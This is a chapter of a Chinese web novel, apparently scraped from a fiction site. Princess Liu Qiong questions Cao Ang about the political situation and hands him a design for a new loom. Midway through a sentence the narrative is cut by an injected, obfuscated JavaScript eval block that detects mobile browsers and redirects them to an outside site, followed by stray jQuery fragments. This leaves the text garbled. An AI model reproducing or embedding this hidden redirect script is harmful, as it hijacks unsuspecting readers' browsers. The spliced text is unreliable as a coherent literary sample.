进了盛夏,一天比一天热,刘琼也越发不爱在日头毒的时候出门,只一早一晚在凉亭里乘凉,或是去找丁夫人叙话。
不过她也没忘了自己的目标,一直在琢磨着怎么把系统新奖励的织机图纸合理的拿出来用。
又是一日清晨时分,她正在凉亭里坐着沉思,不多时,慧儿便来到了她身边。
“女公子,你看喜不喜欢?”说着,慧儿就把手中刚摘下来的许多莲花递到她面前。
“漂亮的花啊朵的,有哪个姑娘不喜欢的?只可惜……”,刘琼抬手摸了摸那些或粉或白的莲花。
“只可惜什么?”慧儿关切的追问道。
“只可惜它们很快就会凋谢了。”她补上了下半句。
“就算奴婢不摘下来,它们也会凋谢啊。”
“摘下来了,好歹还能博女公子一笑,有个好心情。”
“若留它在那池子里,将来花瓣零落,掉入水中污泥,岂不是更可惜吗?”慧儿不明白她为何这样说。
“这话也有些道理,可是比起莲花带来的好心情,我更喜欢莲藕做成的美食。”刘琼眨了眨眼,带着点小姑娘的俏皮。
“原来女公子是馋了啊,这个容易,眼下这时节虽无成熟的莲藕,但嫩藕还是有的,奴婢这就去摘些来,晚点给女公子做些清爽的菜肴可好?”慧儿笑着问道。
“那自然是好。”刘琼点了点头。
“不过待会儿恐怕你得多摘点儿,有人不请自来了。”她微微歪头看向了慧儿身后,微微笑道。
“嗯?”慧儿顺着她的目光转身看去,却见曹昂正朝这边走来。
“留点神看着周围,别让人打扰,我有事跟他说。”刘琼提醒了一句。
“诺。”慧儿行了一礼,把花放在石桌上,转身就走,半路上又给曹昂见礼,然后就离开了这里。
曹昂走到凉亭里的时候,就看她左手拿着一株莲花,右手却去揪那花瓣,还一片一片的撒到了池塘里。
“妹妹,你这是做什么呢?”曹昂顺势坐到她身边,有些好奇的问道。
“附庸风雅,顺便喂鱼。”刘琼手上动作不停,揪完一株莲的全部花瓣儿,又拿起另一株接着揪,然后又将它们纷纷洒向水面。
“你这也太……”,曹昂被她这大实话噎的都不知道怎么形容才好。
“太什么?太庸俗?还是太现实?”刘琼捏着光秃秃的莲茎晃了晃,看他的眼神也带上了危险。
“太……率真。”曹昂见状,脑子立刻转的飞快,终于在她发难之前想到了合适的形容词。
“算你识相。”刘琼听到这儿,总算满意的笑了笑。
“出什么事了吗?怎么感觉,你今天心情不太好啊。”曹昂顺手拿过一株莲花,也学着她的样子揪起了花瓣。
“我心情不好不都是你闹的吗?别玩了,好生听我说话。”刘琼一把将他手里的莲花抢过来,连带着之前那几株光秃秃的莲茎一起放回桌上。
“这不是你先玩的吗?我这才……”他试图辩解。
“嗯?”她眼睛一眯。
“我错了。”他立刻道歉。
“不过你总得告诉我,这到底是怎么回事吧。”他追问具体缘由。
“我听你母亲说,你父亲升了东郡太守,还要去剿什么黑山军,我这不是担心你吗?”刘琼回答道。
“担心我?”曹昂一愣,“你以为,我也要跟去,担心我有危险,所以才心情不好的,是不是?”他很快反应过来了。
“少自作多情了,我不过是担心你走了之后,没人使唤罢了。”刘琼嘴硬道。
“好好好,是我自作多情,错怪妹妹了,我这厢给妹妹赔礼了。”
曹昂一眼就看出她是口是心非,顿觉心里暖暖的,顺着她说的同时,又连连作揖赔罪。
“你惯会说这些有的没的哄我,若真要安我的心,何不与我讲讲东郡的情况,也省的我什么都不知道,只会瞎操心。”刘琼半是玩笑,半是认真的引导他。
“这……”,曹昂有些犹豫。
“怎么?自家人外出做官可能有危险,难道我还不能问一问了?”刘琼以退为进。
“这倒也没有,只是少有女儿家关心这些的。”
“况且东郡的形势的确不妙,那些黑山军,名为军队,实则草寇土匪之流,我也是怕吓着你。”曹昂斟酌着解释道。
“我当是什么?原是为了这个,那黑山军可比董卓的西凉军凶恶吗?”刘琼举例对比。
“那倒不至于。”几乎不用如何思考,曹昂就给出了答案。
“那比江东的孙坚如何?”刘琼又问。
“自然也比不了。”曹昂摇了摇头。
“我连董卓,孙坚都不怕,难道还怕什么黑山军?”
“我不止要问他们的情况,我还要问董卓的,孙坚的,乃至这全天下的情况呢。”
刘琼用手比划了一下,并挺直了腰板,表明自己根本不惧。
“刚才问东郡黑山军的情况是为了我,那现在问全天下的,又是为什么呢?”曹昂却突然反问了一句。
“好没意思的话,就只许我担心你,不许我担心自己的亲弟弟吗?”
“这天下还是我们刘家的天下呢,关心一下难道不应该吗?”刘琼皱起了眉头。
“应该……这当然应该了。”曹昂有些语塞的点了点头。
说实话,她若不主动提起,他都快忘了,眼前的小姑娘并非他的亲表妹,而是刘姓皇族的公主。
也不知怎么了,意识到这个事实的曹昂心里有些不舒服,但他并没表现出来。
“既然你想听你家的事,那我断断没有瞒着的道理,只是我虽跟在父亲身边听他们议事,到底也知道的不那么细致,若是漏了什么也未可知啊。”
曹昂的确知道的不全面,所以这会儿也不敢打包票。
“反正我这会儿什么也不知道,缺一些,少一点的,也听不出来,你只管说个大概就是了。”
“要不,就从那个孙坚说起吧,虽说他后来起了歹心,可到底是在建章宫的枯井里救了我和慧儿性命,我还挺想知道他最近的消息的。”
刘琼先是表示不在意多少,然后又打感情牌,明里暗里的引着他说孙坚的近况。
“江东孙坚,已经死了。”曹昂只得说了实话。
“死了?怎么死的?”刘琼追问道。
“听说死于荆州刘表之手。”曹昂如实告知。
“原来是这样,他已经死了,怪不得,怪不得。”听闻这个消息,刘琼若有所思。
她终于明白为何自己早已逃出孙坚之手,偏偏这几日才发了奖励,又说再不必担忧对方的加害,竟是因为人没了。
“怪不得什么?”她低声喃喃,却被曹昂听了去,有些好奇的问道。
“怪不得他没派人来追杀,倒让我过了几天安生日子啊。”刘琼随口回了一句。
“原来是这样啊。”曹昂也没怀疑什么。
“你接着说吧,如今天下大势到底如何?”刘琼催促道。
“自十八路诸侯讨董失败,他们便回转各地,拥兵自重不说,还在互相残杀。”
“孙坚亡于刘表之手,但他还有儿子在,江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656112|172867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东与荆州也因此陷入了兵戈。”
“东郡太守乔瑁和充州刘岱因粮草问题结下仇怨,最后被其所杀。”
“原冀州之主韩馥丢了冀州,来投奔了陈留太守张邈。”
“至于冀州,则是落到了袁绍袁伯父手中,而我父亲最近升的这个东郡太守,也是承他的情,表奏朝廷得来的。”
“可我们如今正在陈留郡,陈留太守张邈张伯父与我父亲情分不错,但现在碍于韩馥的投奔,也不大与我家往来了。”
“父亲虽然伤心,但也不能不顾东郡百姓的安危,这才接任了太守一职,打算前去剿匪。”
“不过这次我不会跟去,父亲要我守在家里,护好亲人们,毕竟,现在陈留郡的形势很是微妙。”曹昂简单把天下现有的情况说了一遍。
“袁绍表奏朝廷封你父亲为东郡太守,我虽早就听你母亲提过此事了,但还是觉得有些奇怪。”
“如果我没记错的话,现在我弟弟被董卓挟持到了长安,他还那么小,根本做不了主,那么这等任命书又是谁发下来的呢?”刘琼提出了一个关键疑点。
“……”,听到这儿的曹昂瞬间就意识到,她是在怀疑他们家和袁绍董卓有勾结。
“好妹妹,我父亲对大汉忠心耿耿,别无他想。”
“只是眼下形势比人强,为了更长远的未来,现在他不得不牺牲名声,暂时依附于我袁伯父……不,是袁绍。”曹昂说到这儿后,立刻改口。
“他不得不暂时依附于袁绍,也只有这样,我们才能慢慢积蓄实力啊。”他试图为自己的父亲辩解。
“我知道,知道你父亲是忠臣,不然我现在就不会在这儿。”刘琼见他忐忑不安的样子,也软下语气再三安抚。
“那我们……”,曹昂刚想松了一口气,可话才起了个话头,就被打断了。
“所以我也想为大汉做点什么,或者说,我想帮你父亲一把,就像他不久前帮我一样。”
“他现在是东郡太守了,还要剿匪,一定很缺钱吧,你看看这个。”说着,刘琼就从袖中取出了一张图纸递给他。
“这是?”曹昂接过去看了一眼后,有些诧异。
“最新式的织机,不仅可以织出堪比襄邑锦的花纹,其成品所需时辰也大大缩短,襄邑锦是什么你知道吧。”刘琼简单讲述后,又问了一句。
“我当然知道了,襄邑锦代表我大汉丝织业的最高水平,几乎所有的襄邑锦都进贡到宫中了,留在市面上的少之又少。”
“也正因为如此,它的价格高居不下,两三万钱都还不一定能买到一匹呢。”
“我的天啊,倘若这个新式织机真能做到这点,那我们岂不是发财了?父亲最近正为军费发愁,这下也都有救了。”曹昂激动的都站起来了。
“先别想美事儿了,你还是想办法让工匠们先把这东西做出来再说吧,还有,这千万得保密啊,什么东西多了就不值钱了,知道吗?”
刘琼顺势起身,并适时给他泼了一盆冷水,又一把拿回了织机的图纸,再三叮嘱着不能外传的重要性。
“嗯。”曹昂连连点头。
“找工匠做我没问题,可这要保密就得涉及到接下来丝织女工们的安排,这个我就搞不定了,不如咱们一起去见我母亲吧,她肯定有办法。”他又提议道。
“那好,咱们一起去吧。”刘琼等的就是这句话,有曹昂在自己身边,待会儿说服丁夫人就会容易许多,而对方为了他这个儿子,也不会太过追究这张图纸的来历。
就这样,他们两个达成了一致,结伴去了丁夫人的正院,与其商议此事。